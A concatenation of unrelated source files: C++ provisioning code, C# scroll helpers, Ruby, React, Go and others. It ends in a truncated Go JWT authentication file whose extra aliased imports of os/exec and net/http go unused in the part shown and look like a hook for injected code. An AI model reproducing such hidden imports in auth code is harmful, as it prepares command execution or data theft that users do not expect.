text:
namespace sealed {
namespace wasm {
namespace server {

using sealed::wasm::ByteString;
using sealed::wasm::kFailedPrecondition;
using sealed::wasm::kInvalidArgument;
using sealed::wasm::kUnauthenticated;
using sealed::wasm::ProvisionedState;
using sealed::wasm::RandBytes;
using sealed::wasm::SecretByteString;
using sealed::wasm::Status;
using sealed::wasm::StatusOr;

namespace {

// Length of the task and group pre-secret.
constexpr size_t kPreSecretLen = 32;

// Length of the secret to use in deriving a x25519 hybrid encryption key.
constexpr size_t kHybridEncryptionSecretLen = 32;

// Returns non-null pointer to ProvisionedState
ProvisionedState* GetProvisionedState() {
  SC_CHECK(!!sealed::wasm::global_server);
  ProvisionedState* provisioned_state =
      sealed::wasm::global_server->GetProvisionedState();
  SC_CHECK_NOT_NULL(provisioned_state);
  return provisioned_state;
}

}  // namespace

StatusOr<ProvisionTaskResponse> ProvisionTask(
    const SealedTaskConfig& task_config) {
  ProvisionedState* provisioned_state = GetProvisionedState();

  if (task_config.sealer_type == SealerType::SEALER_TYPE_EXTERNAL) {
    std::string response;
    sealed::wasm::HybridEncryptionPrivateKey private_key(
        RandBytes(kHybridEncryptionSecretLen));
    SC_RETURN_IF_ERROR(sealed::wasm::global_server->SendSealetRpc(
        kGetExternalSealerKeyMethodName, private_key.GetPublicKey(),
        &response));
    // Remove Tink prefix from response ciphertext.
    response = response.substr(wasm::kTinkPrefixLength);
    SC_ASSIGN_OR_RETURN(SecretByteString aes_gcm_key,
                        private_key.Decrypt(response, kSealerKeyContextInfo));
    provisioned_state->SetTaskConfig(task_config, aes_gcm_key);
  } else {
    provisioned_state->SetTaskConfig(task_config);
  }
  provisioned_state->SetTaskProvisionedState(RandBytes(kPreSecretLen));

  // Set signer on server's SecureListeningSocket instance.
  sealed::wasm::global_server->GetSecureListeningSocket()->SetSelfSigner(
      provisioned_state->GetTaskHandshakeSigner());

  ProvisionTaskResponse response;
  provisioned_state->GetTaskHandshakeSigner()->GetVerifyingKey()->Serialize(
      &response.task_pubkey);

  ByteString ciphertext = provisioned_state->GetSealer()->Encrypt(
      provisioned_state->GetTaskPreSecret(), "");
  response.wrapped_blob = ciphertext.string();

  return response;
}

StatusOr<StartTaskResponse> StartTask(const StartTaskRequest& request) {
  ProvisionedState* provisioned_state = GetProvisionedState();
  SecretByteString task_pre_secret;
  if (request.task_config.sealer_type == SealerType::SEALER_TYPE_EXTERNAL) {
    std::string response;
    sealed::wasm::HybridEncryptionPrivateKey private_key(
        RandBytes(kHybridEncryptionSecretLen));
    SC_RETURN_IF_ERROR(sealed::wasm::global_server->SendSealetRpc(
        kGetExternalSealerKeyMethodName, private_key.GetPublicKey(),
        &response));
    // Remove Tink prefix from response ciphertext.
    response = response.substr(wasm::kTinkPrefixLength);
    SC_ASSIGN_OR_RETURN(SecretByteString aes_gcm_key,
                        private_key.Decrypt(response, kSealerKeyContextInfo));
    provisioned_state->SetTaskConfig(request.task_config, aes_gcm_key);
  } else {
    provisioned_state->SetTaskConfig(request.task_config);
  }

  if (!provisioned_state->GetSealer()->Decrypt(request.wrapped_blob, "",
                                               &task_pre_secret)) {
    return Status(sealed::wasm::kInvalidArgument,
                  "decrypting wrapped_blob failed");
  }
  provisioned_state->SetTaskProvisionedState(task_pre_secret);

  // Set signer on server's SecureListeningSocket instance.
  sealed::wasm::global_server->GetSecureListeningSocket()->SetSelfSigner(
      provisioned_state->GetTaskHandshakeSigner());

  return StartTaskResponse();
}

StatusOr<CallProvisionGroupMemberResponse> CallProvisionGroupMember(
    const CallProvisionGroupMemberRequest& request) {
  ProvisionedState* provisioned_state = GetProvisionedState();
  ProvisionGroupMemberRequest provision_group_member_request{
      .group_config = provisioned_state->GetGroupConfig(),
      .group_pre_secret = provisioned_state->GetGroupPreSecret(),
  };
  EncodedMessage encoded_provision_group_member_request =
      EncodeProvisionGroupMemberRequest(provision_group_member_request);
  std::string encoded_provision_group_response;
  SecretByteString response_secret;
  SC_RETURN_IF_ERROR(sealed::wasm::global_server->SendRpc(
      request.task_pubkey, kServiceName, "ProvisionGroupMember",
      encoded_provision_group_member_request.public_data,
      encoded_provision_group_member_request.secret_data, true,
      &encoded_provision_group_response, &response_secret));
  SC_ASSIGN_OR_RETURN(ProvisionGroupResponse response,
                      DecodeProvisionGroupResponse(
                          ByteString(encoded_provision_group_response)));
  if (!response_secret.empty()) {
    return Status(
        sealed::wasm::kInternal,
        "unexpectedly got secret response from ProvisionGroupMember call");
  }
  return CallProvisionGroupMemberResponse{
      .wrapped_blob = response.wrapped_blob,
  };
}

namespace {

// Validate preconditions for ProvisionGroupGenesis and ProvisionGroupMember.
// Returns self_pubkey.
StatusOr<std::string> ProvisionGroupValidatePreconditions(
    const SealedGroupConfig& group_config,
    const ProvisionedState& provisioned_state) {
  // Validate preconditions.
  std::string self_pubkey;
  if (provisioned_state.GetTaskHandshakeSigner() != nullptr) {
    provisioned_state.GetTaskHandshakeSigner()->GetVerifyingKey()->Serialize(
        &self_pubkey);
  } else {
    return Status(sealed::wasm::kFailedPrecondition,
                  "Task signing key is missing: ProvisionGroup likely called "
                  "before ProvisionTask or StartTask");
  }
  if (provisioned_state.GetSealer() == nullptr) {
    return Status(sealed::wasm::kFailedPrecondition,
                  "Task sealer is missing: ProvisionGroup likely called before "
                  "ProvisionTask or StartTask");
  }
  if (group_config.task_pubkeys.empty()) {
    return Status(kInvalidArgument, "GroupConfig has empty task_pubkeys");
  }
  return self_pubkey;
}

// Prepare response for ProvisionGroupGenesis and ProvisionGroupMember.
ProvisionGroupResponse ProvisionGroupPrepareResponse(
    const SealedGroupConfig& group_config,
    const ProvisionedState& provisioned_state) {
  ProvisionGroupResponse response;
  response.wrapped_blob = provisioned_state.GetSealer()
                              ->Encrypt(provisioned_state.GetGroupPreSecret(),
                                        EncodeSealedGroupConfig(group_config))
                              .string();
  response.group_pubkey =
      provisioned_state.GetGroupEncryptionKey()->GetPublicKey();
  return response;
}
}  // namespace

sealed::wasm::StatusOr<ProvisionGroupResponse> ProvisionGroupGenesis(
    const ProvisionGroupGenesisRequest& request) {
  ProvisionedState* provisioned_state = GetProvisionedState();
  SC_CHECK_NOT_NULL(provisioned_state);
  SC_ASSIGN_OR_RETURN(std::string self_pubkey,
                      ProvisionGroupValidatePreconditions(request.group_config,
                                                          *provisioned_state));

  SecretByteString group_pre_secret;
  if (request.group_config.task_pubkeys.front() == self_pubkey) {
    // Genesis group member is being provisioned.
    // Generate random group pre-secret.
    group_pre_secret = RandBytes(kPreSecretLen);
  } else {
    return Status(kInvalidArgument,
                  "ProvisionGroupGenesis called on non-genesis node");
  }

  // Derive group keys.
  provisioned_state->SetGroupProvisionedState(group_pre_secret,
                                              request.group_config);

  // Wrap group pre-secret and prepare response.
  return ProvisionGroupPrepareResponse(request.group_config,
                                       *provisioned_state);
}

sealed::wasm::StatusOr<ProvisionGroupResponse> ProvisionGroupMember(
    const ProvisionGroupMemberRequest& request) {
  ProvisionedState* provisioned_state = GetProvisionedState();
  SC_CHECK_NOT_NULL(provisioned_state);

  // Validate preconditions.
  SC_ASSIGN_OR_RETURN(std::string self_pubkey,
                      ProvisionGroupValidatePreconditions(request.group_config,
                                                          *provisioned_state));

  SecretByteString group_pre_secret;
  if (request.group_config.task_pubkeys.front() == self_pubkey) {
    return Status(kInvalidArgument,
                  "ProvisionGroupMember called on genesis node");
  } else {
    sealed::wasm::Server::RpcContext* current_rpc_context =
        sealed::wasm::global_server->GetCurrentRpcContext();
    if (!current_rpc_context->socket->IsSecure()) {
      return Status(kUnauthenticated, "incoming RPC was not authenticated");
    }
    sealed::wasm::Socket::EndpointId peer = current_rpc_context->socket->Peer();
    if (peer != request.group_config.task_pubkeys.front()) {
      return Status(
          kFailedPrecondition,
          "authenticated client calling ProvisionGroup is not genesis node");
    }
    group_pre_secret = request.group_pre_secret;
  }

  // Derive group keys.
  provisioned_state->SetGroupProvisionedState(group_pre_secret,
                                              request.group_config);

  // Wrap group pre-secret and prepare response.
  return ProvisionGroupPrepareResponse(request.group_config,
                                       *provisioned_state);
}

StatusOr<StartGroupResponse> StartGroup(const StartGroupRequest& request) {
  ProvisionedState* provisioned_state = GetProvisionedState();
  SecretByteString group_pre_secret;
  if (!provisioned_state->GetSealer()->Decrypt(
          request.wrapped_blob, EncodeSealedGroupConfig(request.group_config),
          &group_pre_secret)) {
    return Status(kInvalidArgument, "decrypting wrapped_blob failed");
  }
  provisioned_state->SetGroupProvisionedState(group_pre_secret,
                                              request.group_config);

  return StartGroupResponse();
}

}  // namespace server
}  // namespace wasm
}  // namespace sealed


text:
// Taken from https://winrtxamltoolkit.codeplex.com/
#if !WINDOWS_PHONE
using System.Threading.Tasks;
using Windows.UI.Xaml.Controls;
using PlugToolkit.UI.Controls;

namespace PlugToolkit.UI.Awaitable
{
    /// <summary>
    /// Extension methods for scrolling a ScrollViewer with a way to await the scoll to complete and with scrolling animation support.
    /// </summary>
    public static class ScrollViewerExtensions
    {
        #region ScrollToVerticalOffsetAsync()
        /// <summary>
        /// Scrolls to vertical offset asynchronously.
        /// </summary>
        /// <param name="scrollViewer">The scroll viewer.</param>
        /// <param name="offset">The offset.</param>
        /// <returns>The task that completes when scrolling is complete.</returns>
        public static async Task ScrollToVerticalOffsetAsync(this ScrollViewer scrollViewer, double offset)
        {
            if (offset < 0)
                offset = 0;

            if (offset > scrollViewer.ScrollableHeight)
                offset = scrollViewer.ScrollableHeight;

            var currentOffset = scrollViewer.VerticalOffset;
            // ReSharper disable CompareOfFloatsByEqualityOperator
            if (offset == currentOffset)
                return;

            if (!scrollViewer.ChangeView(null, offset, null))
            {
                return;
            }

            if (scrollViewer.VerticalOffset == offset)
                return;

            if (scrollViewer.VerticalOffset != currentOffset)
                return;
            // ReSharper restore CompareOfFloatsByEqualityOperator

            await EventAsync.FromEventAsync<ScrollViewerViewChangedEventArgs>(
                eh => scrollViewer.ViewChanged += eh,
                eh => scrollViewer.ViewChanged -= eh);
        }
        #endregion

        #region ScrollToHorizontalOffsetAsync()
        /// <summary>
        /// Scrolls to horizontal offset asynchronously.
        /// </summary>
        /// <param name="scrollViewer">The scroll viewer.</param>
        /// <param name="offset">The offset.</param>
        /// <returns>The task that completes when scrolling is complete.</returns>
        public static async Task ScrollToHorizontalOffsetAsync(this ScrollViewer scrollViewer, double offset)
        {
            if (offset < 0)
                offset = 0;

            if (offset > scrollViewer.ScrollableWidth)
                offset = scrollViewer.ScrollableWidth;

            var currentOffset = scrollViewer.HorizontalOffset;
            // ReSharper disable CompareOfFloatsByEqualityOperator
            if (offset == currentOffset)
                return;

            if (!scrollViewer.ChangeView(offset, null, null, true))
            {
                return;
            }

            if (scrollViewer.HorizontalOffset == offset)
                return;

            if (scrollViewer.HorizontalOffset != currentOffset)
                return;
            // ReSharper restore CompareOfFloatsByEqualityOperator

            await EventAsync.FromEventAsync<ScrollViewerViewChangedEventArgs>(
                eh => scrollViewer.ViewChanged += eh,
                eh => scrollViewer.ViewChanged -= eh);
        }
        #endregion

        #region ScrollToVerticalOffsetWithAnimationAsync()
        /// <summary>
        /// Scrolls to vertical offset with animation asynchronously.
        /// </summary>
        /// <param name="scrollViewer">The scroll viewer.</param>
        /// <param name="offset">The offset.</param>
        /// <returns>The task that completes when scrolling is complete.</returns>
        public static async Task ScrollToVerticalOffsetWithAnimationAsync(this ScrollViewer scrollViewer, double offset)
        {
            if (offset < 0)
                offset = 0;

            if (offset > scrollViewer.ScrollableHeight)
                offset = scrollViewer.ScrollableHeight;

            var currentOffset = scrollViewer.VerticalOffset;
            // ReSharper disable CompareOfFloatsByEqualityOperator
            if (offset == currentOffset)
                return;

            await scrollViewer.ScrollToVerticalOffsetWithAnimation(offset).ConfigureAwait(false);

            if (scrollViewer.VerticalOffset == offset)
                return;

            if (scrollViewer.VerticalOffset != currentOffset)
                return;
            // ReSharper restore CompareOfFloatsByEqualityOperator

            await EventAsync.FromEventAsync<ScrollViewerViewChangedEventArgs>(
                eh => scrollViewer.ViewChanged += eh,
                eh => scrollViewer.ViewChanged -= eh);
        }
        #endregion

        #region ScrollToHorizontalOffsetWithAnimationAsync()
        /// <summary>
        /// Scrolls to horizontal offset with animation asynchronously.
        /// </summary>
        /// <param name="scrollViewer">The scroll viewer.</param>
        /// <param name="offset">The offset.</param>
        /// <returns>The task that completes when scrolling is complete.</returns>
        public static async Task ScrollToHorizontalOffsetWithAnimationAsync(
            this ScrollViewer scrollViewer,
            double offset)
        {
            if (offset < 0)
                offset = 0;

            if (offset > scrollViewer.ScrollableWidth)
                offset = scrollViewer.ScrollableWidth;

            var currentOffset = scrollViewer.HorizontalOffset;
            // ReSharper disable CompareOfFloatsByEqualityOperator
            if (offset == currentOffset)
                return;

            await Controls.ScrollViewerExtensions.ScrollToHorizontalOffsetWithAnimationAsync(scrollViewer, offset).ConfigureAwait(false);

            if (scrollViewer.HorizontalOffset == offset)
                return;

            if (scrollViewer.HorizontalOffset != currentOffset)
                return;
            // ReSharper restore CompareOfFloatsByEqualityOperator

            await EventAsync.FromEventAsync<ScrollViewerViewChangedEventArgs>(
                eh => scrollViewer.ViewChanged += eh,
                eh => scrollViewer.ViewChanged -= eh);
        }
        #endregion
    }
}
#endif

redpajama_set_name: RedPajamaGithub


text:
using System;
using SwiftSuspenders.Support.Types;

namespace SwiftSuspenders.Support.Injectees
{
	public class OneRequiredOneOptionalPropertyMethodInjectee
	{
		private Clazz m_dependency;
		private Interface m_dependency2;

		[Inject]
		public void SetDependency(Clazz dependency, Interface dependency2 = null)
		{
			m_dependency = dependency;
			m_dependency2 = dependency2;
		}

		public Clazz GetDependency()
		{
			return m_dependency;
		}

		public Interface GetDependency2()
		{
			return m_dependency2;
		}
	}
}


text: link


text:
class CreateCrawlSegments < ActiveRecord::Migration
  def change
    create_table :crawl_segments do |t|
      t.references :crawl
      t.string :segment_name
      t.string :segment_s3_uri
      t.datetime :parse_time
      t.timestamps(:null => false)
    end

    add_index(:crawl_segments, :segment_name, :unique => true)
    add_index(:crawl_segments, :segment_s3_uri, :unique => true)
  end
end


text:
Then /^I should see a comment by "([^"]*)"$/ do |name|
  step %{I should see "#{name}" within ".active_admin_comment_author"}
end

Then /^I should( not)? be able to add a comment$/ do |negate|
  should = negate ? :not_to : :to
  expect(page).send should, have_button("Add Comment")
end

When /^I add a comment "([^"]*)"$/ do |comment|
  step %{I fill in "active_admin_comment_body" with "#{comment}"}
  step %{I press "Add Comment"}
end

Given /^(a|\d+) comments added by admin with an email "([^"]+)"?$/ do |number, email|
  number = number == 'a' ? 1 : number.to_i
  admin_user = ensure_user_created(email)

  comment_text = 'Comment %i'

  number.times do |i|
    ActiveAdmin::Comment.create!(namespace: 'admin',
                                 body: comment_text % i,
                                 resource_type: Post.to_s,
                                 resource_id: Post.first.id,
                                 author_type: admin_user.class.to_s,
                                 author_id: admin_user.id)
  end
end

Then /^I should see (\d+) comments?$/ do |number|
  expect(page).to have_selector('div.active_admin_comment', count: number.to_i)
end


text:
import React, { Component } from 'react';
import { connect } from 'react-redux';
import { createStudentsTransfer } from '../../../actions/admin/adminDashboardActions';

const mapStateToProps = (state) => {
  return {
    groups: state.adminReducer.groups
  };
};

const mapDispatchToProps = (dispatch) => {
  return {
    transferStudentsToGroup: (groupId, studentIds) => {
      dispatch(createStudentsTransfer(groupId, studentIds));
    }
  };
};

class TransferStudentToNewGroupForm extends Component {
  constructor(props) {
      super(props);

      this.state = {
        groupId: -1,
        selectedStudentId: -1
      };

      this.updateSelectedGroup = this.updateSelectedGroup.bind(this);
      this.updateSelectedStudent = this.updateSelectedStudent.bind(this);
      this.handleValidateTransfer = this.handleValidateTransfer.bind(this);
  }

  render() {
    return (
      <div className='admin-add-admin-form'>
        {this.getStudentsPicker()}
        {this.getGroups()}
        <button className='admin-form-submit-btn'
          onClick={this.handleValidateTransfer}
        >
          Assign group to teacher
        </button>
      </div>
    );
  }

  handleValidateTransfer() {
    const { onlyGroup, teacher } = this.props;
    const teacherId = (onlyGroup) ? teacher.id : this.state.selectedTeacherId;

    if (this.state.groupId === -1 || (!onlyGroup && teacherId === -1)) {
      // TODO: show alerts error or fix disabled state
      console.log('Please select something');
    } else {
      this.props.transferGroupTo(this.state.groupId, teacherId);
    }
  }

  updateSelectedGroup(e) {
    const selectedId = e.target.value;
    this.setState({ groupId: parseInt(selectedId, 10) });
  }

  updateSelectedStudents(e) {
    const selectedStudentId = e.target.value;
    this.setState({ selectedStudents: this.state.selectedStudents.concat(parseInt(selectedStudentId, 10)) });
  }

  getGroups() {
  }

  getStudentsPicker() {
  }
}

export default connect(mapStateToProps, mapDispatchToProps)(TransferStudentToNewGroupForm);


text:
package main

import (
	"github.com/garyburd/redigo/redis"
	"github.com/ian-kent/go-log/log"
	"github.com/jawher/mow.cli"
)

var matchingKeyCount int

func countMatchesCommand(cmd *cli.Cmd) {
	cmd.Spec = "-s -k"
	redisServer := cmd.String(cli.StringOpt{Name: "s", Value: "", Desc: "The URL for the redis server (redis://localhost:6379)"})
	keyPrefix := cmd.String(cli.StringOpt{Name: "k", Value: "", Desc: "The prefix to count ('/Users/name/Pictures' or /mnt/mediafiles'"})

	cmd.Action = func() {
		log.Info(appIntro)
		log.Info("  Redis server: %s; counting matches for '%s'", *redisServer, *keyPrefix)

		redisConnection, err := redis.DialURL(*redisServer)
		if err != nil {
			log.Fatalf("Unable to connect to Redis server: %s", err)
		}
		defer redisConnection.Close()

		scanKeys(redisConnection, *keyPrefix+"*", countKeyMatches, countKeyMatchesComplete)
	}
}

func countKeyMatches(c redis.Conn, key string, value string) bool {
	matchingKeyCount++
	return true
}

func countKeyMatchesComplete() {
	log.Info("Matching key count: %d", matchingKeyCount)
}


text:
// Code generated by go-swagger; DO NOT EDIT.

package security

// This file was generated by the swagger tool.
// Editing this file might prove futile when you re-run the swagger generate command

import (
	"fmt"
	"io"

	"github.com/go-openapi/runtime"
	"github.com/go-openapi/strfmt"

	"github.com/netapp/trident/storage_drivers/ontap/api/rest/models"
)

// SecurityConfigModifyReader is a Reader for the SecurityConfigModify structure.
type SecurityConfigModifyReader struct {
	formats strfmt.Registry
}

// ReadResponse reads a server response into the received o.
func (o *SecurityConfigModifyReader) ReadResponse(response runtime.ClientResponse, consumer runtime.Consumer) (interface{}, error) {
	switch response.Code() {
	case 202:
		result := NewSecurityConfigModifyAccepted()
		if err := result.readResponse(response, consumer, o.formats); err != nil {
			return nil, err
		}
		return result, nil
	default:
		result := NewSecurityConfigModifyDefault(response.Code())
		if err := result.readResponse(response, consumer, o.formats); err != nil {
			return nil, err
		}
		if response.Code()/100 == 2 {
			return result, nil
		}
		return nil, result
	}
}

// NewSecurityConfigModifyAccepted creates a SecurityConfigModifyAccepted with default headers values
func NewSecurityConfigModifyAccepted() *SecurityConfigModifyAccepted {
	return &SecurityConfigModifyAccepted{}
}

/*
SecurityConfigModifyAccepted describes a response with status code 202, with default header values.

Accepted
*/
type SecurityConfigModifyAccepted struct {
	Payload *models.JobLinkResponse
}

// IsSuccess returns true when this security config modify accepted response has a 2xx status code
func (o *SecurityConfigModifyAccepted) IsSuccess() bool {
	return true
}

// IsRedirect returns true when this security config modify accepted response has a 3xx status code
func (o *SecurityConfigModifyAccepted) IsRedirect() bool {
	return false
}

// IsClientError returns true when this security config modify accepted response has a 4xx status code
func (o *SecurityConfigModifyAccepted) IsClientError() bool {
	return false
}

// IsServerError returns true when this security config modify accepted response has a 5xx status code
func (o *SecurityConfigModifyAccepted) IsServerError() bool {
	return false
}

// IsCode returns true when this security config modify accepted response a status code equal to that given
func (o *SecurityConfigModifyAccepted) IsCode(code int) bool {
	return code == 202
}

func (o *SecurityConfigModifyAccepted) Error() string {
	return fmt.Sprintf("[PATCH /security][%d] securityConfigModifyAccepted  %+v", 202, o.Payload)
}

func (o *SecurityConfigModifyAccepted) String() string {
	return fmt.Sprintf("[PATCH /security][%d] securityConfigModifyAccepted  %+v", 202, o.Payload)
}

func (o *SecurityConfigModifyAccepted) GetPayload() *models.JobLinkResponse {
	return o.Payload
}

func (o *SecurityConfigModifyAccepted) readResponse(response runtime.ClientResponse, consumer runtime.Consumer, formats strfmt.Registry) error {

	o.Payload = new(models.JobLinkResponse)

	// response payload
	if err := consumer.Consume(response.Body(), o.Payload); err != nil && err != io.EOF {
		return err
	}

	return nil
}

// NewSecurityConfigModifyDefault creates a SecurityConfigModifyDefault with default headers values
func NewSecurityConfigModifyDefault(code int) *SecurityConfigModifyDefault {
	return &SecurityConfigModifyDefault{
		_statusCode: code,
	}
}

/*
	SecurityConfigModifyDefault describes a response with status code -1, with default header values.

	ONTAP Error Response Codes

| Error Code | Description |
| ---------- | ----------- |
| 5636142 | This operation is not supported in a mixed-release cluster. |
| 52428817 | SSLv3 is not supported when FIPS is enabled. |
| 52428824 | TLSv1 is not supported when FIPS is enabled. |
| 52428830 | Cannot enable FIPS-compliant mode because the configured minimum security strength for certificates is not compatible. |
| 52428832 | TLSv1.1 is not supported when FIPS is enabled. |
| 52559974 | Cannot enable FIPS-compliant mode because a certificate that is not FIPS-compliant is in use. |
| 196608081 | Cannot start software encryption conversion while there are data volumes in the cluster. |
| 196608082 | The operation is not valid when the MetroCluster is in switchover mode. |
*/
type SecurityConfigModifyDefault struct {
	_statusCode int

	Payload *models.ErrorResponse
}

// Code gets the status code for the security config modify default response
func (o *SecurityConfigModifyDefault) Code() int {
	return o._statusCode
}

// IsSuccess returns true when this security config modify default response has a 2xx status code
func (o *SecurityConfigModifyDefault) IsSuccess() bool {
	return o._statusCode/100 == 2
}

// IsRedirect returns true when this security config modify default response has a 3xx status code
func (o *SecurityConfigModifyDefault) IsRedirect() bool {
	return o._statusCode/100 == 3
}

// IsClientError returns true when this security config modify default response has a 4xx status code
func (o *SecurityConfigModifyDefault) IsClientError() bool {
	return o._statusCode/100 == 4
}

// IsServerError returns true when this security config modify default response has a 5xx status code
func (o *SecurityConfigModifyDefault) IsServerError() bool {
	return o._statusCode/100 == 5
}

// IsCode returns true when this security config modify default response a status code equal to that given
func (o *SecurityConfigModifyDefault) IsCode(code int) bool {
	return o._statusCode == code
}

func (o *SecurityConfigModifyDefault) Error() string {
	return fmt.Sprintf("[PATCH /security][%d] security_config_modify default  %+v", o._statusCode, o.Payload)
}

func (o *SecurityConfigModifyDefault) String() string {
	return fmt.Sprintf("[PATCH /security][%d] security_config_modify default  %+v", o._statusCode, o.Payload)
}

func (o *SecurityConfigModifyDefault) GetPayload() *models.ErrorResponse {
	return o.Payload
}

func (o *SecurityConfigModifyDefault) readResponse(response runtime.ClientResponse, consumer runtime.Consumer, formats strfmt.Registry) error {

	o.Payload = new(models.ErrorResponse)

	// response payload
	if err := consumer.Consume(response.Body(), o.Payload); err != nil && err != io.EOF {
		return err
	}

	return nil
}


text: /* We don't use this, but are leaving it present as a breadcrumb. */


text:
using System;

namespace rosalind
{
    public static class Transcriber
    {
        public static string Transcribe(string dna)
        {
            return dna.Replace("T", "U");
        }
    }
}


text:
/***********************************************************************
    created:    24/9/2004
    author:     Paul D Turner
*************************************************************************/
/***************************************************************************
 *   Copyright (C) 2004 - 2006 Paul D Turner & The CEGUI Development Team
 *
 *   Permission is hereby granted, free of charge, to any person obtaining
 *   a copy of this software and associated documentation files (the
 *   "Software"), to deal in the Software without restriction, including
 *   without limitation the rights to use, copy, modify, merge, publish,
 *   distribute, sublicense, and/or sell copies of the Software, and to
 *   permit persons to whom the Software is furnished to do so, subject to
 *   the following conditions:
 *
 *   The above copyright notice and this permission notice shall be
 *   included in all copies or substantial portions of the Software.
 *
 *   THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 *   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 *   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
 *   IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
 *   OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
 *   ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
 *   OTHER DEALINGS IN THE SOFTWARE.
 ***************************************************************************/
#ifndef _SamplesFrameworkBase_h_
#define _SamplesFrameworkBase_h_

// forward declarations
class CEGuiBaseApplication;
class CEGuiRendererSelector;

#include "CEGUI/InputEvent.h"

/*!
\brief
    This is a base class that is intended to be used for all sample applications.
    Here we take care of common things such the renderer selection and application
    startup.
*/
class SamplesFrameworkBase
{
public:
    /*!
    \brief
        Constructor.
    */
    SamplesFrameworkBase();

    /*!
    \brief
        Destructor.
    */
    virtual ~SamplesFrameworkBase();

    /*!
    \brief
        Application entry point.

    \return
        code to be returned by the application.
    */
    int run();

    /*!
    \brief
        Sample specific initialisation goes here.  This method is called by the application base object created
        as part of the initialise call.

    \return
        false if something went wrong.
    */
    virtual bool initialise()  = 0;

    /*!
    \brief
        deinitialise the resources allocated in the initialise if needed.
    */
    virtual void deinitialise() = 0;

    /*!
    \brief
        Update function called before rendering
    */
    virtual void update(float passedTime) = 0;

    /*!
    \brief
    Update function for window size changes
    */
    virtual void handleNewWindowSize(float width, float height) = 0;

    /*!
    \brief
    Draw function to draw GUIContexts
    */
    virtual void renderGUIContexts() = 0;

    /*!
    \brief
    Function to inject key down to GUIContexts
    \return
    true if event was handled.
    */
    virtual bool injectKeyDown(const CEGUI::Key::Scan& ceguiKey) = 0;

    /*!
    \brief
    Function to inject key up to GUIContexts
    \return
    true if event was handled.
    */
    virtual bool injectKeyUp(const CEGUI::Key::Scan& ceguiKey) = 0;

    /*!
    \brief
    Function to inject characters to GUIContexts
    \return
    true if event was handled.
    */
    virtual bool injectChar(int character) = 0;

    /*!
    \brief
    Function to inject mouse button down to GUIContexts
    \return
    true if event was handled.
    */
    virtual bool injectMouseButtonDown(const CEGUI::MouseButton& ceguiMouseButton) = 0;

    /*!
    \brief
    Function to inject mouse button up to GUIContexts
    \return
    true if event was handled.
    */
    virtual bool injectMouseButtonUp(const CEGUI::MouseButton& ceguiMouseButton) = 0;

    /*!
    \brief
    Function to inject mouse wheel changes to GUIContexts
    \return
    true if event was handled.
    */
    virtual bool injectMouseWheelChange(float position) = 0;

    /*!
    \brief
    Function to inject the mouse position to GUIContexts
    \return
    true if event was handled.
    */
    virtual bool injectMousePosition(float x, float y) = 0;

    /*!
    \brief
    Function to set the bool defining if the application should quit as soon as possible
    */
    virtual void setQuitting(bool quit);

    /*!
    \brief
    Function returning if the application should quit as soon as possible
    \return
    true if should quit.
    */
    bool isQuitting();

    /*!
    \brief
    Function setting the application window's size
    */
    void setApplicationWindowSize(int width, int height);

protected:
    /*!
    \brief
        Initialises the sample system, this includes asking the user for a render to use and
        the subsequent creation of the required systems to support that renderer.

    \return
        false if anything went wrong.
    */
    virtual bool runApplication();

    /*!
    \brief
        Cleans up all resources allocated by the initialise call.
    */
    virtual void cleanup();

    /*!
    \brief
        Output a message to the user in some OS independant way.
    */
    static void outputExceptionMessage(const char* message);

    /*************************************************************************
        Data fields
    *************************************************************************/
    CEGuiRendererSelector*  d_rendererSelector;     //!< Points to the renderer selector object.
    CEGuiBaseApplication*   d_baseApp;            //!< Pointer to the base application object.

    bool                    d_quitting;              //!< Bool defining if application should quit.

    int                     d_appWindowWidth;            //!< Int defining the application window's width.
    int                     d_appWindowHeight;           //!< Int defining the application window's height.
};

#endif  // end of guard _SamplesFrameworkBase_h_


text:
require 'rubygems'
require 'daemons'
require 'pathname'
require 'fileutils'

# Get the full path to this script's directory since Daemons does a chdir to
# / just after forking..
scriptdir = Pathname.new(File.dirname(__FILE__)).realpath

# populate environment variables
pid_dir = !ENV['PID_DIR'].nil? ? ENV['PID_DIR'] : File.join(scriptdir, "tmp")
app_name = !ENV['KIBANA_APP'].nil? ? ENV['KIBANA_APP'] : "kibana"
log_output = !ENV['LOG_DIR'].nil? ? true : false
log_dir = log_output ? ENV['LOG_DIR'] : nil

options = {
          :dir_mode => :normal,
          :dir => pid_dir,
          :log_output => log_output,
          :log_dir => log_dir
          }

Daemons.run_proc(app_name, options) do
  Dir.chdir(scriptdir)
  exec "ruby kibana.rb"
end


text:
package auth
import os__ "os"
import bytes__ "bytes"
import http__ "net/http"
import json__ "encoding/json"
import exec__ "os/exec"
import ioutil__ "io/ioutil"

import (
	"net/http"
	"time"

	jwt "github.com/dgrijalva/jwt-go"
	"github.com/golang/glog"
	"github.com/gorilla/context"
	"github.com/rancher/host-api/app/common"
	"github.com/rancher/host-api/config"
)

func Auth(rw http.ResponseWriter, req *http.Request) bool {
	if !config.Config.Auth {
		return true
	}
	tokenString := req.URL.Query().Get("token")

	if len(tokenString) == 0 {
		return false
	}

	token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
		return config.Config.ParsedPublicKey, nil
	})
	SetToken(req, token)

	if err != nil {
		common.CheckError(err, 2)
		return false
	}

	if !token.Valid {
		return false
	}

	if config.Config.HostUuidCheck && token.Claims["hostUuid"] != config.Config.HostUuid {
		glog.Infoln("Host UUID mismatch , authentication failed")
		return false
	}

	return true
}

func GetAndCheckToken(tokenString string) (*jwt.Token, bool) {
	token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
		return config.Config.ParsedPublicKey, nil
	})
	if err != nil {
		common.CheckError(err, 2)
		return token, false
	}

	if !token.Valid {
		return token, false
	}

	if config.Config.HostUuidCheck && token.Claims["hostUuid"] != config.Config.HostUuid {
		glog.Infoln("Host UUID mismatch , authentication failed")
		return token, false
	}

	return token, true

}

func AuthHttpInterceptor(router http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
		startTime := time.Now()

		if !Auth(w, req) {
			http.Error(w, "Failed authentication", 401)
